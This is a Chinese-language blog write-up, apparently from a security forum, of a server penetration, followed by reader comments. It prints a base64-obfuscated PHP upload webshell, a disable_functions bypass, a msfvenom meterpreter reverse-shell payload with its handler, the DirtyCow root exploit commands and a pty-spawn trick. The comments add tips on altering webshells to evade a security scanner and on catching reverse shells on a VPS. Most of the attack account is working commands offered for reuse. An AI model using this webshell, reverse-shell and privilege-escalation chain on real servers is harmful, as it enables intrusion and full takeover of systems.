记脚本小子的一次渗透全过程
一.前言
在一次综合渗透的过程中遇到的比较完整的一个渗透流程。很多现查的技巧,这次渗透的基础是基于队友已经在服务器写入了一句话木马但无法执行系统命令。
二.渗透过程
一开始,我想到的是传个大马上去,为了方便,先写入了一个上传马:
?a=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));
利用这个上传马(shell.php)上传了一个比较常用的大马(297.php)。发现无法执行系统命令(无回显):
查看phpinfo()发现应该是disable_function()的原因。随即使用github上大佬LD_PRELOAD的bypass马:
https://github.com/zhinaonet/bypass_disablefunc_via_LD_PRELOAD
成功执行命令:
可以执行命令后便想着提权,直接上虚拟机里的kali先用ngrok把虚拟机里的内网穿透出去:
启动msf:
msfconsole
msfvenom -l payloads
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=ip LPORT=10017 -f elf > shell.elf
生成反弹shell:
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter_reverse_tcp
set LHOST 192.168.1.170
set LPORT 4444
run
开启监听,同时把生成的elf文件用上传马上传到服务器,用bypass马chmod赋予权限后执行。
即可反弹成功:
拿到反弹shell后就想着提权,一看内核版本是在脏牛的覆盖范围,就尝试脏牛一把梭。
先去github上下载脏牛的exp源码:
https://github.com/FireFart/dirtycow
上传上去之后执行命令:
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
执行成功!
但在su切换用户的时候出现了幺蛾子:
Standard in must be a tty这种情况我还是头一次遇见。通过查询,发现可以用python绕过它:
python -c 'import pty; pty.spawn("/bin/sh")'
su firefart
输入密码,即可提权成功:
于此已经拿到了root权限。后渗透阶段由于本人不太熟悉就暂且不提了。
三.总结
这次渗透没有什么特别难的难点,主要是队友把一句话传上去打了个好的基础。作为脚本小子的我也不过是用网上大佬们的工具完成了此次渗透。学艺不精还需要继续和菊苣们学习。
大哥,为什么我执行bypass_disablefunc.php之后linux 内存和cpu 爆表直接卡死,你遇到过吗?
另外elf文件chmod之后如何执行,是“bypass_disablefunc.php?cmd=/xxx/shell.elf&outpath=/xx&sopath=/xx"
244577210
收徒不10万学费求师v
嘤嘤嘤 运维赛的题是大师傅出的吗
@vulg**** 我用的shell都是自己修改过的,你可以试试直接用冰蝎(我很看好这个项目https://github.com/rebeyond/Behinder ) 修改一下就能过d盾。或者用蚁剑也行。
反弹shell的话我现在比较常用msf的Meterpreter 。vps我目前用的是薅羊毛免费送一年的谷歌云。
@timwhite 多谢表哥回复,当初还以为表哥嫌我问的问题太菜,不回复我呢[多多尴尬]
对于表哥的回复,我这里又有两点问题,请表哥指点[小声bb,又麻烦表哥你了]
(1)昨天看到表哥你回复我找马的话,去github上直接搜webshell,这里我说明一点的是,之前我就在github上找的tennc师傅那个4000多star的webshell项目[捂脸]。地址在这:https://github.com/tennc/webshell 不知道师傅用的是tennc师傅的项目的webshell么?
之前进行一些测试时,我就用tennc师傅webshell项目里的马用相关webshell管理工具进行连接,但始终连接失败,遇到也是师傅你遇到的这种情况,已经确定目标站点没有WAF或者其它有力防护,但始终连接不上,可能是我操作姿势有问题吧[多多尴尬 ]
(2)现在师傅你说不用ngrok进行内网穿透,而是直接反弹到VPS上,这里请表哥指点,俺目前接触过一些nc,bash,php等反弹方法,但有些方法使用不熟练,不知表哥习惯用哪种方法进行反弹shell。[多多尴尬]另外,目前我在用Vultr这家的VPS,是因为之前它家最便宜的就2.5刀一月,可是现在基本上变成5刀一月,不知表哥你在用哪家的VPS?可否给作为小白的俺推荐下,毕竟俺还得吃饭呐,一月5刀是真承受不起了。
在这里先多谢表哥后续指点了[舔你哦,表哥]
@vulg****
1.当时菜刀没连上小马,但可以执行部分命令,上传马是用小马写上去的,直接可以上传文件,传大马的原因是大马中执行命令的方式更多,更有可能绕过限制(但没绕过)。
2.马的话,github上有一个项目挺全的,搜webshell就可以找到
3.穿透内网是因为服务器没办法直接访问到虚拟机对应的ip,需要有个外网机器做转发,之前我是用的ngrok,现在经常是直接反弹到vps上就不需要内网穿透了。
4.google搜索su standard in must be a tty 低权限,找到了一位师傅的记录:
http://p0desta.com/2018/02/01/VulnHub%20%E2%80%93%20FristiLeaks%20v1.3/
关于这个问题,前两天某公众号也说到了https://mp.weixin.qq.com/s/Eoltd8r_LmisuZlho_qW0w
@timwhite 俺有几个问题想问下表哥,还请表哥不嫌我问的问题太菜[捂脸]
(1)一开始表哥说先写了个上传马上去 ,之后再利用上传马上传比较常用的大马。 这就是传说中的“小马拉大马”操作么?这里既然用上传马用菜刀或C刀连接成功(小声bb,俺不知道表哥用什么shell管理工具连接,瞎猜的) ,为何还要再上传个大马操作?这里表哥的操作没看明白,请表哥指教我下[多多麻烦表哥]。
(2)可否请表哥分享下你常用的一些大马,之前我搜集了一些,但是有问题,麻烦表哥分享下咯。
(3)当表哥你用bypass马上传成功执行命令后,表哥你说想着提权,之后上虚拟机里的kali先用ngrok把虚拟机里的内网穿透出去,请问表哥,这里为何需要穿透内网呢?不是很明白这里的操作,请表哥指教。
(4)当表哥你用脏牛提权成功后,用su命令切换到root用户权限却失败,这里报的bug,也没看懂,我用表哥截图演示的错误情况,去某度娘查了下,竟然没查到用python绕过的方法(这里俺菜的连度娘都不知道怎么查),还请表哥指点找到什么相关资料?
最后,俺就是这上述问题,还请表哥不吝赐教,先多谢表哥了。
@kingkk 多谢大哥教我写批量exp,pdd dalao ddw
向大哥学习
菜是真的菜!